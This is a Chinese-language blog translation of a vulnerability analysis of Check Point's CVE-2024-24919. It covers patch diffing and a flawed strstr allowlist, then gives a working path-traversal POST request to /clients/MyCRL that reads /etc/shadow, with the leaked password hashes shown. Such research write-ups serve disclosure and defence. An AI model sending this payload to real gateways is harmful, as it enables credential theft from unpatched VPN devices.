白帽故事 · 2024年7月26日 0

Check Point【CVE-2024-24919】漏洞分析

前言

Check Point 是负责“CloudGuard Network Security”设备的供应商，这是另一个声称安全且经过强化的设备。

他们的口号——“你值得最好的安全”——意味着他们的产品具有值得信赖的安全级别。

安全研究人员想一窥该设备的内部，最近得到了一个很好的机会，那就是 CVE-2024-24919。

根据 CVE 描述，属于“向未经授权的行为者泄露敏感信息”类别漏洞：

连接到互联网并启用远程访问 VPN 或移动访问后，该漏洞可能允许攻击者读取网关上的某些信息。

这是一个比较模糊的描述，在这种情况下“某些信息”到底意味着什么——是否意味着可以读取会话令牌？设备的配置？还是密码哈希？。

互联网上没有太多关于该漏洞的信息，因此研究人员着手找出它到底有多严重。

补丁差异时间

与以往一样，第一个障碍是获取软件的修补版本，虽然从公告中链接的补丁被锁定在登录表单后面，但研究人员发现设备本身会在没有任何凭据的情况下直接获取补丁，因此研究人员直接安装了补丁并对生成的文件进行了编目，以便将每个文件与补丁前的文件进行比较。

在检查设备文件系统时，研究人员很快就在临时目录中发现了包含更新本身的 .tgz 文件。

打开它，发现了一堆安装脚本，以及一个听起来‘很有前途’的名为 sslvpn.full 的文件，这是一个 ELF 二进制文件。

$ find -exec file {} \\;
...
./CheckPoint#fw1#All#6.0#5#1#HOTFIX_R80_40_JHF_T211_BLOCK_PORTAL_MAIN/fw1/bin/vpn.full: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.9, BuildID[sha1]=9484c3b95be69aa112042766793877d466fe9626, stripped
...

将原文件和修补版本的文件放入 IDA 中，使用 Diaphora 来观察差异。

很快便发现了一些有趣的东西（原代码在左侧，修补代码在右侧）：

file

添加的代码正在记录字符串“可疑的路径遍历攻击”，可以肯定的是，实际上正是是路径遍历漏洞。

浏览一下代码，可以看到添加了一个新的日志记录函数，名为 send_path_traversal_alert_log ，如果再深入一点，还会发现新函数 sanitize_filename ，它调用新的日志记录函数。

如果查看引用 sanitize_filename 本身的内容，会看到调用者 – 一个具有自动生成名称 sub_80F09E0 的大型函数。

如果搜索对这个大型函数的引用，会发现它与 HTTP 路径 /clients/MyCRL 一起传递给函数 cpHttpSvc_register_query ，这表明它就是该端点的处理程序。

file

太棒了！ 只进行了几分钟的分析，就已经发现了一些重要的线索！

首先，可以确定这是一个路径遍历漏洞，其次，强烈怀疑它会影响端点 /clients/MyCRL 。

经过调查，发现该端点旨在从文件系统上的某个位置提供静态文件。

这些文件可以通过 URI 本身（以 /clients/MyCRL/file_to_get 的形式）或通过 POST 正文来指定。

对此研究人员进行了一些实验，发现服务器中有一些有趣但无用的奇怪之处 – 在 URL 中添加某些控制字符（例如 /clients/MyCRL/test%0Atest）会挂起请求，并且检测到转义 NULL 的错误处理，bytes 似乎也有问题，因为尽管日志中生成了可怕的警告，但请求服务代码的一部分仍被执行。

尝试在 URL 中添加路径遍历元素（例如 .. ）没有结果，因为网络服务器会正确处理它们 – 但是 POST 呢？同样不受网络服务器路径处理代码的影响。

尝试添加通常的 ../../etc/passwd ，收到 404 错误，服务器日志显示该设备拒绝为该路径提供服务：

[vpnd 29382 4082644928]@i-022337f52dc65ca35[30 May  3:02:00][slim] http_get_CCC_callback: Invalid filename: /opt/CPsuite-R80.40/fw1//../../etc/passwd

为了彻底弄清楚原因，只能查看那个大型函数 sub_80F09E0 了！

了解反编译代码

大型处理函数看起来似乎令人畏惧，但实际上非常简单。

切换到易受攻击版本的代码，可以通过快速浏览看到它执行了文件 I/O，从对_fopen 和 _fread 的引用中就可以看出来 – 这无疑是发现漏洞的地方，但它到底在做什么呢？

由于代码引用字符串资源方式的不寻常，IDA 无法识别，因此要了解代码的作用有点困难。看一下下面的代码片段：

file

这里发生了什么？代码正在将某些内容（用户请求的 URL）与位于字符串表中的许多硬编码字符串进行比较。

IDA 不知道字符串表在哪里，但 GDB 在运行时可以告诉我们 – 事实证明它在这里：

file

代码正在检查用户是否正在请求列表中的任何文件，并且仅在匹配时才允许下载。但这段代码中有一个“错误”。你能发现吗？

该错误并不复杂，它在于开发人员对 strstr 函数的使用。 C 专家都知道，该函数不会直接比较两个字符串，而是在一个字符串中搜索另一个字符串。

灵光乍现！是否可以滥用这种草率的匹配来遍历，比如只需请求一个包含表中字符串的相对路径就可以？

只要路径中存在匹配的字符串，检查就会通过并且文件将被提供！

事实证明并不能这么做。提供类似 icsweb.cab /../../etc/passwd 之类的路径，并无法找到该文件，并提示 icsweb.cab 是一个文件，而不是目录。

不过，已经很接近了——继续看该代码。

file

这是一段非常相似的代码，就在第一段代码的下面。

同样，迭代一个字符串表，并与请求的 URL 进行比较。再次取出 GDB，看看它正在使用的字符串表：

file

当看到这个字符串表时，研究人员非常兴奋 – 你能明白什么原因吗？

因为字符串末尾有斜杠，这表明该字符串表不是一个文件，而是一个目录，这意味着我们可以遍历它，只需要通过古老的 .. 即可。

只要在请求的文件中的某处有字符串 CSHELL/ ，请求就会被接受！

马上尝试一下，屏住呼吸提交了以下请求：

POST /clients/MyCRL HTTP/1.1
Host: <redacted>
Content-Length: 39

aCSHELL/../../../../../../../etc/shadow

收到响应：

HTTP/1.0 200 OK
Date: Thu, 30 May 2024 01:38:29 GMT
Server: Check Point SVN foundation
Content-Type: text/html
X-UA-Compatible: IE=EmulateIE7
Connection: close
X-Frame-Options: SAMEORIGIN
Strict-Transport-Security: max-age=31536000; includeSubDomains
Content-Length: 505

admin:$6$rounds=10000$N2We3dls$xVq34E9omWI6CJfTXf.4tO51T8Y1zy2K9MzJ9zv.jOjD9wNxG7TBlQ65j992Ovs.jDo1V9zmPzbct5PiR5aJm0:19872:0:99999:8:::
monitor:*:19872:0:99999:8:::
root:*:19872:0:99999:7:::
nobody:*:19872:0:99999:7:::
postfix:*:19872:0:99999:7:::
rpm:!!:19872:0:99999:7:::
shutdown:*:19872:0:99999:7:::
pcap:!!:19872:0:99999:7:::
halt:*:19872:0:99999:7:::
cp_postgres:*:19872:0:99999:7:::
cpep_user:*:19872:0:99999:7:::
vcsa:!!:19872:0:99999:7:::
_nonlocl:*:19872:0:99999:7:::
sshd:*:19872:0:99999:7:::

路径遍历导致任意文件读取！

以上内容由骨哥翻译并整理。

原文：https://labs.watchtowr.com/check-point-wrong-check-point-cve-2024-24919/

标签：

发表回复